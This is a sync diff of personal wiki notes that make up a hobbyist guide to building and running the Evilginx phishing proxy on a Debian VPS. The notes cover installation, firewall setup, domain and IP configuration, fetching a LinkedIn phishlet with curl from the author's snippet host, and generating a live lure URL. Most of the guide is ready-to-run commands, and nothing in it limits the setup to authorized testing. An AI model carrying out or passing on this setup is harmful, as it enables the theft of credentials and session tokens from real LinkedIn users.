Quartz sync: Jan 10, 2026, 5:14 PM

content/10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/00 - Index.md

@@ -0,0 +1,8 @@
+---
+{"publish":true,"title":"00 - Start Here","created":"2025-06-26T16:04:58.772-06:00","modified":"2025-06-26T16:07:26.548-06:00","tags":["guide","evilginx"],"cssclasses":""}
+---
+
+## Setup and Tutorial
+- [[10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/Installation of Community Edition\|Installation]]<--Start here
+- [[10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/configuration\|Configuration Basics]]
+- [[10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/phish setup\|My First Phishing Test]]

content/10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/Installation of Community Edition.md

@@ -0,0 +1,59 @@
+---
+{"publish":true,"title":"Installing Evilginx Community Edition","created":"2025-06-26T10:18:34.457-06:00","modified":"2025-06-26T12:40:30.910-06:00","tags":["phishing","evilginx","guide"],"cssclasses":""}
+---
+
+
+With commercialization comes the enshitification of community editions, and this is equally true for Evilginx sadly. They have made it very clear in their documentation that they no longer want to make it obvious for users to install without paying so here are my installation notes for those who follow.
+
+>[!info]
+>My install was performed on a VPS running Debian 12. YMMV if you are using a different distro
+>
+>This guide covers software installation only. The official Evilginx documentation for domain setup is adequate 
+
+>[!note] Prior to installing Evilginx I completed some basic server setup work that you can find [[10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/basic configuration\|here]]
+
+
+1. Install prerequisite packages
+
+```
+apt install git make golang tmux
+```
+
+>[!note]
+>The `tmux` package is not required for the install but is highly recommended for running the service so I have included it here
+>
+
+2. Clone the git repository at the latest stable tag (3.3.0 at time of writing)
+   
+```
+git clone --depth 1 --branch v3.3.0 https://github.com/kgretzky/evilginx2.git
+```
+
+3. Build the software
+
+```
+cd evilginx2
+make
+```
+
+4. Create a directory for the Evilginx binary and configurations
+
+```
+mkdir ~/evilginx
+```
+
+5. Copy the binary and necessary directories to the application folder
+
+```
+cp ./build/evilginx ~/evilginx
+cp -r ./phishlets/ ~/evilginx
+cp -r ./redirectors/ ~/evilginx
+```
+
+6. Make sure everything is executable
+
+```
+chmod 700 ~/evilginx
+```
+
+From here you can move on to [[10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/configuration]]

content/10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/basic configuration.md

@@ -0,0 +1,36 @@
+---
+{"publish":true,"title":"Server bootstrapping","created":"2025-06-26T12:27:37.527-06:00","modified":"2025-06-26T12:37:33.633-06:00","tags":["evilginx","guide","self_hosting"],"cssclasses":""}
+---
+
+## Install and configure ufw
+1. Install the ufw package
+
+```
+apt install ufw
+```
+
+2. Set the default ufw policies
+
+```
+ufw default deny incoming 
+ufw default allow outgoing
+```
+
+3. Allow required traffic
+
+>[!note]
+>For the purpose of a basic Evilginx setup on a remote server we will allow ssh, dns, and https but add other services as necessary for your setup
+
+```
+ufw allow ssh
+ufw allow 53
+ufw allow https
+```
+
+4. Enable the firewall
+
+```
+ufw enable
+```
+
+At this point your server has **BASIC** protections.

content/10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/configuration.md

@@ -0,0 +1,41 @@
+---
+{"publish":true,"title":"Evilginx Configuration","created":"2025-06-26T12:16:40.875-06:00","modified":"2025-06-26T15:12:06.592-06:00","tags":["evilginx","guide","phishing"],"cssclasses":""}
+---
+
+>[!info]
+>These are my notes on my specific steps to configure Evilginx. I have tried to highlight things that you would need to change for your deployment scenario but no guarantees!
+
+1. Start a new tmux session for Evilginx
+
+```
+tmux new-session -A -s evilginx
+```
+
+>[!note]
+>This command will attempt to attach (the `-A` argument) to an existing session called evilginx (specified by `-s evilginx`) before creating a new one
+
+2. Launch Evilginx
+
+```
+~/evilginx/evilginx
+```
+
+3. At the Evilginx prompt set your domain and IP
+
+```
+config domain philsphishpharm.click
+config ipv4 external 80.78.25.193
+config ipv4 bind 80.78.25.193
+```
+
+4. You will need to restart Evilginx to apply the configuration
+```
+(At the Evilginx prompt)
+exit
+
+(At the system prompt)
+~/evilginx/evilginx
+```
+
+At this point Evilginx should be configured at ready for you to [[10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/phish setup\|start phishing]]!
+

content/10-19 HOBBYS/13 SECURITY/13.11 EVILGINX/phish setup.md

@@ -0,0 +1,46 @@
+---
+{"publish":true,"title":"Basic Phish Setup","created":"2025-06-26T13:31:28.141-06:00","modified":"2025-06-27T14:25:27.036-06:00","tags":["evilginx","guide","phishing"],"cssclasses":""}
+---
+
+>[!note]
+>As previously discussed the community edition of Evilginx has been kneecapped so the quickstart example in their documentation will not work. This guide will give a rough approximation of that tutorial
+
+1. Install `curl`
+
+```
+apt install curl
+```
+
+2. Create the LinkedIn phishlet. This downloads a copy of a phishlet for my pastebin to replace the one the Evilginx team removed
+
+```
+curl -o ~/evilginx/phishlets/linkedin.yaml https://snippets.thesatelliteoflove.com/api/public/snippets/1/1/raw
+```
+
+3. Connect to your Evilginx tmux session and launch Evilginx
+
+```
+tmux new-session -A -s evilginx
+~/evilginx/evilginx
+```
+
+4. Assign a hostname to the LinkedIn phishlet
+
+```
+phishlets hostname linkedin demo.philsphishpharm.click
+```
+
+5. Enable your phishlet
+
+```
+phishlets enable linkedin
+```
+
+6. Create a lure (link) for your phishlet. Once created the second command will return the link (assuming this is your first lure)
+
+```
+lures create linkedin
+lures get-url 0
+```
+
+You now have a valid phising url. Good job!